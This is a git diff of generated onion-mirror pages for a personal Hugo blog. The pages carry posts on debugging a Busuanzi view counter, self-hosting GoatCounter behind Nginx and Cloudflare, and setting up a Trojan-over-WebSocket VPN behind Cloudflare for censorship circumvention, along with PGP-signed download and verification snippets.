    Honestly, self-hosting GoatCounter wasn’t as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it’s done and dusted, and I’m a happy puppy! :D

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSolRg//SwN9nMf9/Wgkr5h+dQowZMCHXXcKWgO8J08ITVDN1+weNNGANFrz63SQ
    +DajHGeSogYW1+AAxJaAeQ7hLdOX9foV5pT+kWANIjRBXnFyW+WR7kt6tmN2rcSH8
    +z4GKxqE3kdd3kCRhqT0pLiwnurqLgdCK+YldftO6GB8WP4oNDqOwHvoIE6o0ekdH
    +sn7ZBIxMaWc5UqijjqgBHhdHz3uSmL+rN4UwLFM3WXXlwl3HdGyjHcNTG7k648s2
    +X5+7a78OZAuDElpyp9y6WqiAFJQdrwBbTv3vvpU+f911voV7ZA+KbUqHsQrISTKz
    +cd+tPw2lcayfBZRtHMrL3fygvT3AWktcSavZrU5EOX/u/P7eMWEYu0FYh6aHqRak
    ++Ft2FR7EPlB2faS6wWYfoua6BYxFvevXX1fk+0HhZn9UJxJPaa/WTgVWDgpt++Ce
    +fdaDmsR69LIj2QTjPMXdQiUKkWPG2ziadTwJEWUHzOuREifmuBgp9Mwedk6zYkdT
    +m5Roi70IPtX3dDDHG5Votw3AKng3gaU7YcNzZVyi3iZkQkUHPUK47Wj21FajikMP
    +gCcWsoYWBRqdhL5XDrodt28AuLpm0cslz79DZdbLnielcjOS+GaUynjLzEWveOib
    +dxLcbIIap+nt315cjvkfatGv14Dres/K7vhQAhqGy5o0LM1D0qc=
    +=o387
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/view_count.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/view_count.md.asc
    +gpg --verify view_count.md.asc view_count.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/analytics/page/1/index.html b/public-onion/tags/analytics/page/1/index.html new file mode 100644 index 0000000..8bda768 --- /dev/null +++ b/public-onion/tags/analytics/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/analytics/ + + + + + + diff --git a/public-onion/tags/busuanzi/index.html b/public-onion/tags/busuanzi/index.html new file mode 100644 index 0000000..33840cc --- /dev/null +++ b/public-onion/tags/busuanzi/index.html @@ -0,0 +1,352 @@ + + + + + + + +Busuanzi | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT) +

    +
    +
    +

    I tried to add a simple ‘views’ counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.

    +
    +
    October 18, 2025 · 9 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/busuanzi/index.xml b/public-onion/tags/busuanzi/index.xml new file mode 100644 index 0000000..d1c7ef2 --- /dev/null +++ b/public-onion/tags/busuanzi/index.xml @@ -0,0 +1,355 @@ + + + + Busuanzi on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/busuanzi/ + Recent content in Busuanzi on AlipourIm journeys + Hugo -- 0.146.0 + en + Sat, 18 Oct 2025 10:45:00 +0000 + + + A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/papermod-views-debugging-story/ + Sat, 18 Oct 2025 10:45:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/papermod-views-debugging-story/ + I tried to add a simple &lsquo;views&rsquo; counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix. + I only wanted a tiny “views” badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day.

    +

    The thing is, I don’t think the counter even works correctly. +Or maybe I’m undermining my blog popularity! +But regardless, it was a small stiching task that I did on this lovely Friday evening. +The day before my next term of German class starts. +The day before playing deadface CTF that I’ve been counting days for.

    + +

    First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span id="busuanzi_container_site_pv">
    +    Site views: <span id="busuanzi_value_site_pv">—</span>
    +  </span>
    +  <span aria-hidden="true">·</span>
    +  <span id="busuanzi_container_site_uv">
    +    Visitors: <span id="busuanzi_value_site_uv">—</span>
    +  </span>
    +</div>
    +

    So far, so good. The labels showed up. The numbers, though? Nothing. Just an em dash. I shrugged—maybe it was a caching thing.

    +

    The first round of checks

    +

    I added the script site‑wide in layouts/partials/extend_head.html:

    +
    <script src="//cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js" defer></script>
    +

    Refreshed. Still blank.

    +

    DevTools time. Network tab: the script does load:

    +
      +
    • Request URL: https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js
    • +
    • Request Method: GET
    • +
    • Status Code: 304 Not Modified
    • +
    • Referrer Policy: strict-origin-when-cross-origin
    • +
    • User-Agent: a normal Chromium build (nothing exotic)
    • +
    +

    No red flags. Just a perfectly normal 304.

    +

    Maybe my IDs were wrong? Busuanzi has a couple of flavors: busuanzi_value_* (with container wrappers) or shorthand like busuanzi_site_pv. I tried both, carefully, one at a time. Still… .

    +

    The odd message

    +

    Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right:

    +
    +

    “域名过长,已被禁用 views”

    +

    That’s “domain name too long, disabled.” Wait, what?

    +

    I checked my hostname: blog.alipourimjourneys.ir. I counted: 27 characters. Busuanzi’s limit? 22. Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill.

    +

    Two ways out

    +

    At this point I had two clean options:

    +
      +
    1. Keep Busuanzi and move the site to the apex domain (short enough).
    2. +
    3. Keep my beloved blog. subdomain and swap in Vercount, a Busuanzi‑style drop‑in without the 22‑char limit.
    4. +
    +

    I liked the subdomain (habit, mostly), so I tried Vercount.

    +

    The swap (five-minute fix)

    +

    I removed the Busuanzi script and added Vercount instead:

    +
    <!-- extend_head.html -->
    +<script defer src="https://events.vercount.one/js"></script>
    +

    I kept the same tidy footer row, but switched the IDs to Vercount’s:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span>Site views: <span id="vercount_value_site_pv">—</span></span>
    +  <span aria-hidden="true">·</span>
    +  <span>Visitors: <span id="vercount_value_site_uv">—</span></span>
    +</div>
    +

    For per‑post counts (in the post meta), I added:

    +
    <span id="vercount_value_page_pv">—</span> views
    +

    Deploy. Refresh. Numbers.

    +

    But if you want to stay with Busuanzi…

    +

    If your apex domain is short enough, pointing the site there works fine. The gist:

    +
      +
    • +

      Set baseURL in Hugo to the apex:

      +
      baseURL = "https://alipourimjourneys.ir/"
      +
    • +
    • +

      Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool).

      +
    • +
    • +

      Keep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate.

      +
    • +
    +

    Post‑mortem checklist (a.k.a. things I learned)

    +
      +
    • If the script loads but you get blanks, it’s not always IDs or caching. Sometimes it’s a service rule.
    • +
    • Busuanzi refuses long hostnames (>22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note.
    • +
    • Don’t mix providers on the same page. Load exactly one script (Busuanzi or Vercount).
    • +
    • CSP and blockers matter. If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin.
    • +
    +

    Happy ending

    +

    Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles.

    +

    If you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of.

    +

    Final notes

    +

    Yea… I just felt this feature was missing, and it’s good to have it there. +I hope I stop adding things to the blog, and just keep writing in it. +I’ve spent too much time on it, and it feels like wasted time.

    +
    +

    Change of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion)

    +

    This is the self‑host part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my .onion mirror counting to the same GoatCounter site. Paste this whole section at the end of the post.

    +
    +

    1) Clean up old counters (optional, once)

    +
    # From your Hugo site root
    +grep -RinE "busuanzi|vercount|vercount_value_|busuanzi_value_" .
    +

    Remove any matching <script> and leftover *_value_* spans you no longer want.

    +
    +

    2) Run GoatCounter with Docker Compose

    +

    Minimal docker-compose.yml in ~/goatcounter:

    +
    services:
    +  goatcounter:
    +    image: arp242/goatcounter:2.6
    +    container_name: goatcounter
    +    ports:
    +      - "127.0.0.1:8081:8080"   # bind only to localhost; nginx will proxy
    +    volumes:
    +      - goatcounter-data:/home/goatcounter/goatcounter-data
    +    restart: unless-stopped
    +
    +volumes:
    +  goatcounter-data: {}
    +

    Start:

    +
    docker compose pull && docker compose up -d
    +

    Initialize the site (replace email if needed):

    +
    docker compose exec goatcounter   goatcounter db create site   -vhost=statsblog.alipourimjourneys.ir   -user.email=iman.alip2001@gmail.com
    +
    +

    If you ever see “no site at this domain” on localhost: use the exact vhost above.

    +
    +

    3) Cloudflare + Origin certificate (CF → origin TLS)

    +
      +
    • DNS: statsblog.alipourimjourneys.ir → server IP (proxied/orange).
    • +
    • SSL/TLS mode: Full (strict).
    • +
    • Issue a Cloudflare Origin Certificate for statsblog.alipourimjourneys.ir and save on the server:
    • +
    +
    sudo mkdir -p /etc/ssl/cloudflare
    +sudo nano /etc/ssl/cloudflare/origin.crt   # paste PEM
    +sudo nano /etc/ssl/cloudflare/origin.key   # paste key
    +sudo chown root:root /etc/ssl/cloudflare/origin.{crt,key}
    +sudo chmod 644 /etc/ssl/cloudflare/origin.crt
    +sudo chmod 600 /etc/ssl/cloudflare/origin.key
    +

    +

    4) Nginx vhost for the stats subdomain

    +
    # /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf
    +server {
    +  listen 80;
    +  server_name statsblog.alipourimjourneys.ir;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  listen 443 ssl http2;
    +  server_name statsblog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/ssl/cloudflare/origin.crt;
    +  ssl_certificate_key /etc/ssl/cloudflare/origin.key;
    +
    +  # Proxy to the container on localhost
    +  proxy_set_header Host              $host;
    +  proxy_set_header X-Real-IP         $remote_addr;
    +  proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto $scheme;
    +
    +  location / { proxy_pass http://127.0.0.1:8081; }
    +}
    +

    Enable & reload:

    +
    sudo ln -s /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +

    +

    5) Hugo integration (clearnet + onion, singular/plural + “0 views”)

    +

    Self‑host count.js so the onion mirror never fetches a third‑party script:

    +
      +
    • Save the official count.js as static/js/count.js in your Hugo repo.
    • +
    +

    Then add this to layouts/partials/extend_head.html (loader + helper):

    +
    <!-- Loader: choose endpoint based on hostname -->
    +<script>
    +(function () {
    +  var ONION = /\.onion$/i.test(location.hostname);
    +  window.goatcounter = { endpoint: ONION ? '/count' : 'https://statsblog.alipourimjourneys.ir/count' };
    +  var s = document.createElement('script');
    +  s.async = true; s.src = '/js/count.js';
    +  document.head.appendChild(s);
    +})();
    +</script>
    +
    +<!-- Helper: inline meta counts (post pages + lists) and totals -->
    +<script>
    +(function () {
    +  const ONION = /\.onion$/i.test(location.hostname);
    +  const GC_HOST = ONION ? '' : 'https://statsblog.alipourimjourneys.ir'; // '' = same-origin on .onion
    +  const SING='view', PLUR='views';
    +  const nf = new Intl.NumberFormat();
    +
    +  function ready(fn){ if (document.readyState !== 'loading') fn(); else document.addEventListener('DOMContentLoaded', fn); }
    +  function gcPath(){ try { return (window.goatcounter && window.goatcounter.get_data) ? window.goatcounter.get_data().p : location.pathname; } catch { return location.pathname; } }
    +  async function fetchCount(path){
    +    try {
    +      const r = await fetch(`${GC_HOST}/counter/${encodeURIComponent(path)}.json?t=${Date.now()}`, { credentials:'omit' });
    +      if (r.status === 404) return 0;
    +      if (!r.ok) throw 0;
    +      const j = await r.json();
    +      const n = Number(String(j.count).replace(/,/g,''));
    +      return Number.isFinite(n) ? n : 0;
    +    } catch { return null; }
    +  }
    +  const label = (n) => (n === null ? '—' : `${nf.format(n)} ${n === 1 ? SING : PLUR}`);
    +
    +  ready(async function () {
    +    // A) Single post: add to existing meta row + small bottom
    +    const post = document.querySelector('.post-single');
    +    if (post) {
    +      const meta = post.querySelector('.post-header .post-meta, .post-header .entry-meta, .post-meta');
    +      const path = gcPath();
    +      const n = await fetchCount(path);
    +      if (meta) {
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        span.textContent = label(n ?? 0);
    +      }
    +      const after = post.querySelector('.post-content') || post;
    +      let bottom = post.querySelector('.post-views-bottom'); if (!bottom) { bottom = document.createElement('div'); bottom.className='post-views-bottom'; after.insertAdjacentElement('afterend', bottom); }
    +      bottom.textContent = label(n ?? 0);
    +    }
    +
    +    // B) Lists (/posts, home, sections): show “0 views” instead of hiding
    +    const cards = document.querySelectorAll('article.post-entry');
    +    await Promise.all(Array.from(cards).map(async (card) => {
    +      const meta = card.querySelector('.entry-footer, .post-meta');
    +      const link = card.querySelector('a.entry-link, h2 a, .entry-title a');
    +      if (!meta || !link) return;
    +      try {
    +        const u = new URL(link.getAttribute('href'), location.origin);
    +        if (u.origin !== location.origin) return;
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        const n = await fetchCount(u.pathname);
    +        span.textContent = label(n ?? 0);
    +      } catch {}
    +    }));
    +
    +    // C) Site totals (optional placeholders)
    +    const pvEl = document.getElementById('vercount_value_site_pv');
    +    if (pvEl) { const n = await fetchCount('TOTAL'); pvEl.textContent = (n===null) ? '—' : nf.format(n); }
    +  });
    +})();
    +</script>
    +

    Style so meta items stay inline with middle dots (PaperMod‑like). Put this in assets/css/extended/goatcounter.css:

    +
    .post-single .post-header .post-meta,
    +.post-single .post-header .entry-meta,
    +.post-entry .entry-footer,
    +.post-entry .post-meta {
    +  display:flex; align-items:center; flex-wrap:wrap; gap:.35rem;
    +}
    +.post-single .post-header .post-meta > *,
    +.post-single .post-header .entry-meta > *,
    +.post-entry .entry-footer > *,
    +.post-entry .post-meta > * {
    +  display:inline-flex; align-items:center; white-space:nowrap;
    +}
    +.post-single .post-header .post-meta > * + *::before,
    +.post-single .post-header .entry-meta > * + *::before,
    +.post-entry .entry-footer > * + *::before,
    +.post-entry .post-meta > * + *::before {
    +  content:"·"; margin:0 .5rem; opacity:.6;
    +}
    +.post-views-bottom { margin:.6rem 0 0; opacity:.75; font-size:.95em; }
    +

    +

    6) Count Tor (.onion) visits into the same site

    +

    In the .onion server block, proxy GoatCounter endpoints to the same site by forcing the Host header:

    +
    # inside: server { ... } for fjthpp2h3mj2r....onion
    +
    +location = /count {
    +  proxy_pass http://127.0.0.1:8081/count;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http; # onion is http
    +}
    +
    +location /counter/ {
    +  proxy_pass http://127.0.0.1:8081/counter/;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http;
    +  add_header Cache-Control "no-store";
    +  proxy_no_cache 1; proxy_cache_bypass 1;
    +}
    +

    Because the loader above sets window.goatcounter.endpoint to /count on .onion, both hits and reads stay on the onion origin and are tallied into the same GoatCounter site.

    +
    +

    Note on DNT/Tor: Tor Browser sends DNT: 1. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way.

    +
    +

    7) Troubleshooting quick notes

    +
      +
    • 400 “no site at this domain” → create the site with -vhost=statsblog.alipourimjourneys.ir or fix your proxy Host header.
    • +
    • Counts don’t change on onion → verify Tor path via torsocks, watch logs: +
      docker compose logs -f goatcounter
      +# look for “ignored: bot” (curl UA), or DNT being respected
      +
    • +
    • DevTools sanity → on clearnet you should see https://statsblog…/count and …/counter/*.json; on onion you should see /count and /counter/*.json (same‑origin).
    • +
    +

    That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere.

    +

    Honestly, self-hosting GoatCounter wasn’t as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it’s done and dusted, and I’m a happy puppy! :D

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSolRg//SwN9nMf9/Wgkr5h+dQowZMCHXXcKWgO8J08ITVDN1+weNNGANFrz63SQ
    +DajHGeSogYW1+AAxJaAeQ7hLdOX9foV5pT+kWANIjRBXnFyW+WR7kt6tmN2rcSH8
    +z4GKxqE3kdd3kCRhqT0pLiwnurqLgdCK+YldftO6GB8WP4oNDqOwHvoIE6o0ekdH
    +sn7ZBIxMaWc5UqijjqgBHhdHz3uSmL+rN4UwLFM3WXXlwl3HdGyjHcNTG7k648s2
    +X5+7a78OZAuDElpyp9y6WqiAFJQdrwBbTv3vvpU+f911voV7ZA+KbUqHsQrISTKz
    +cd+tPw2lcayfBZRtHMrL3fygvT3AWktcSavZrU5EOX/u/P7eMWEYu0FYh6aHqRak
    ++Ft2FR7EPlB2faS6wWYfoua6BYxFvevXX1fk+0HhZn9UJxJPaa/WTgVWDgpt++Ce
    +fdaDmsR69LIj2QTjPMXdQiUKkWPG2ziadTwJEWUHzOuREifmuBgp9Mwedk6zYkdT
    +m5Roi70IPtX3dDDHG5Votw3AKng3gaU7YcNzZVyi3iZkQkUHPUK47Wj21FajikMP
    +gCcWsoYWBRqdhL5XDrodt28AuLpm0cslz79DZdbLnielcjOS+GaUynjLzEWveOib
    +dxLcbIIap+nt315cjvkfatGv14Dres/K7vhQAhqGy5o0LM1D0qc=
    +=o387
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/view_count.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/view_count.md.asc
    +gpg --verify view_count.md.asc view_count.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/busuanzi/page/1/index.html b/public-onion/tags/busuanzi/page/1/index.html new file mode 100644 index 0000000..dcae3ff --- /dev/null +++ b/public-onion/tags/busuanzi/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/busuanzi/ + + + + + + diff --git a/public-onion/tags/bypass/index.html b/public-onion/tags/bypass/index.html new file mode 100644 index 0000000..80c5b17 --- /dev/null +++ b/public-onion/tags/bypass/index.html @@ -0,0 +1,356 @@ + + + + + + + +Bypass | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Stealth Trojan VPN Behind Cloudflare Guide +

    +
    +
    +

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    +
    +
    September 9, 2025 · 4 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/bypass/index.xml b/public-onion/tags/bypass/index.xml new file mode 100644 index 0000000..61773a2 --- /dev/null +++ b/public-onion/tags/bypass/index.xml @@ -0,0 +1,195 @@ + + + + Bypass on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/bypass/ + Recent content in Bypass on AlipourIm journeys + Hugo -- 0.146.0 + en + Tue, 09 Sep 2025 11:05:00 +0200 + + + Stealth Trojan VPN Behind Cloudflare Guide + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/ + Tue, 09 Sep 2025 11:05:00 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/ + <h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p> + Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    +
    Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321)
    +

    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    +
    trojan://<PASSWORD>@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN
    +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD
    +9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l
    +jFsQFzNxcgOXKKWevuRtL5MY8RuC+PbsfG2ry2jiOtJa9H2UixVJ5E8Imj+VS47O
    +S3XAlxr85O9CEh/TFkS/TuY5P5+VPoOLn6WfdCH5W2IdkW+Vi3bZFJ46LBm6cNBh
    +Iydo+r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl
    +5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA+38RGmRNFgtR0mhMdtKNt
    +QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g
    +YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0+CD+M1kQILC
    +E8pXSfGhaG2bFCzQ+BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md
    +d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr+ql32hsQMQHZtho1nx5HEGCoCWG
    +3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y=
    +=IovZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/vpn.md
